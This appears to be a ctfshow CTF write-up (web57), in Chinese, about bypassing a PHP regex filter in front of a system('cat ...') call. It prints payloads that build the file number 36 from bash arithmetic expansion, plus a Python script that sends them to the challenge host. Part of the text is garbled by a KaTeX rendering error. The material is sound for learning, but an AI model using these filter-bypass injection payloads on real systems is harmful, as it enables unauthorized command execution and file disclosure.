[ctfshow web入门] web57
信息收集
这下把.
也过滤了,临时文件上传无法使用了
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
}
解题
$(())=0
$((~$(())))=-1
上面那两个表达式什么意思,看下面两篇博客:
博客1:$(( )) (( )) ( ) $( ) 区别详细说明和对比
博客2:shell $() $(()) $[] $[[]] ${} 使用语法
0取反得-1的操作,和计算机对于数据的记录方式有关,这是补码表示法,最高位是符号位。例如:1 = b0001
0=b0000
-1 = b1111
,1到-1的变化是按位取反,然后加1,也就是 b0001 >> b1110 >> b1111
而0(b0000)直接使用取反得到的就是b1111
也就是-1
不理解也没关系,会用就行。至于你问我为什么这样规定,那段计算机发展史我也不记得了,只知道反码表示法有0(b0000)和-0(b1111),存在歧义。
所以
36.php = 36 = -37 = -1-1-1...-1-1 = $(($((~$(())))...$((~$(())))))
至于为什么是-37,那你可以按照补码方式手工计算,按位取反然后加一。或者用现代人的办法,按计算器
由于手写容易出错,肉眼还看不出来,所以用代码生成一个
def get_negative(n):minus_one = "$((~$(())))"return minus_one * nprint(f"?c=$((~$(({get_negative(37)}))))")
?c=$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
抓包即可拿到flag
至于给的另一个答案有点搞笑,把小写字母都过滤了,怎么可能有答案
?c=grep${IFS}'fla'${IFS}fla??php
还有高手
$ set -- # 清空参数
$ echo $# # 输出0
$ echo ${##} # 输出1,因为$#的值是0,所以${##}是长度1(字符'0'的长度)
所以可以KaTeX parse error: Expected '}', got '#' at position 2: {#̲#}+{##}…${##} = 36
import requests
def get_num(n):one = "${##}+"return (one * n)[:-1]if __name__ == "__main__":url = "http://54b70014-6b4c-469d-8c2d-7548176a4136.challenge.ctf.show/"payload = f"?c=$((~$(({get_num(36)}))))"res = requests.get(url + payload)print(res.text)
payload:
?c=$((${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}+${##}))
很可惜,这个虽然构造出36,但是无法成功获取flag,我尝试了get_num(9)
get_num(2)
get_num(18)
get_num(36)
,很显然,可能${##} != 1 2 3 4。
同样的,($$/$$)
= 1我也进行了尝试,同样失败了
web58 目录 web56